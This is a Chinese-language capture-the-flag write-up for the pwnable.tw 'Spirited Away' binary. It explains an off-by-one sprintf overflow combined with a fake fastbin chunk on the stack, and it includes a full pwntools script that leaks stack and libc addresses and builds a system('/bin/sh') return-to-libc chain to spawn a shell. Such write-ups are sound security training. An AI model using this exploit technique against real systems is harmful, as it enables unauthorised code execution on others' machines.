pwnable.tw Spirited Away writeup

比较老套的栈溢出,但是配合上heap漏洞给题目增添了不少光彩。

原题地址:https://pwnable.tw/challenge/

该题的栈环境需要依赖glibc,可以去原题地址进行下载,下面的打包文件也会附带题目的libc。

源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/Spirited_Away

溢出点

int survey()
{
  ...
  read(0, v7, v3);
  fflush(stdout);
  printf("Please enter your comment: ");
  fflush(stdout);
  read(0, buf, nbytes);
  ++cnt;
  printf("Name: %s\n", malloc_ptr);
  printf("Age: %d\n", v5);
  printf("Reason: %s\n", v7);

使用的是read函数,没有NULL截断,可以泄露栈信息。

int survey()
{
  char output[56]; // [esp+10h] [ebp-E8h]
  size_t nbytes; // [esp+48h] [ebp-B0h]
  size_t v3; // [esp+4Ch] [ebp-ACh]
  char buf[80]; // [esp+50h] [ebp-A8h]
  int v5; // [esp+A0h] [ebp-58h]
  void *malloc_ptr; // [esp+A4h] [ebp-54h]
  char v7[80]; // [esp+A8h] [ebp-50h]
  ...
  sprintf(output, "%d comment so far. We will review them as soon as we can", cnt);

通过计算字符串长度发现,其长度为54

>>> len(' comment so far. We will review them as soon as we can')
54

所以我们只要让cnt变成三位数,就可将末尾字符n溢出到变量nbytes上,从而使得malloc_ptr变得可控。

思路

  1. 泄露信息
  2. 读取溢出,控制malloc_ptr
  3. 利用fastbin控制栈

利用fastbin控制栈

虽然我们可以利用溢出点进行溢出,但是并不能直接溢出到函数的ebp上,所以我们将利用fastbin来增长可以溢出的长度。

在栈上伪造一个chunk,然后把malloc_ptr指向该chunk,则再一次拿出来的时候便可以利用该chunk溢出到ebp那里。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = "amd64"
context.arch = "i386"
# context.log_level = 'debug'
execve_file = './spirited_away'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10204)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    # b *0x80486F8
    b *0x8048771
    b free
    b malloc
    c
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

sh.sendafter('Please enter your name: ', 'aaaa')

sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c' * 56)
sh.sendafter('Please enter your comment: ', 'dddd')

sh.recvuntil('c' * 56)
stack_addr = u32(sh.recvn(4))
log.success('stack_addr: ' + hex(stack_addr))

sh.recvn(4)

libc_addr = u32(sh.recvn(4)) - libc.symbols['fflush'] - 11
log.success('libc_addr: ' + hex(libc_addr))

sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')

for i in range(9):
    sh.sendafter('Please enter your name: ', 'a\0')
    sh.sendafter('Please enter your age: ', '1\n')
    sh.sendafter('Why did you came to see this movie? ', 'c\0')
    sh.sendafter('Please enter your comment: ', 'd\0')
    sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')

for i in range(90):
    sh.sendafter('Please enter your age: ', '1\n')
    sh.sendafter('Why did you came to see this movie? ', 'c\0')
    sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')

sh.sendafter('Please enter your name: ', 'a\0')
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'g' * 8 + p32(0) + p32(0x41) + 'f' * 0x38 + p32(0) + p32(0x11))
sh.sendafter('Please enter your comment: ', 'e' * 72 + p32(0) + p32(0) + p32(1) + p32(stack_addr - 0x60))
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')

layout1 = [
    0, # ebp

    libc_addr + libc.symbols['system'],
    libc_addr + libc.symbols['exit'],    
    libc_addr + libc.search('/bin/sh\0').next(),
]

sh.sendafter('Please enter your name: ', 'z' * 64 + flat(layout1))
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c\0')
sh.sendafter('Please enter your comment: ', 'd\0')
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'n')

sh.interactive()
clear()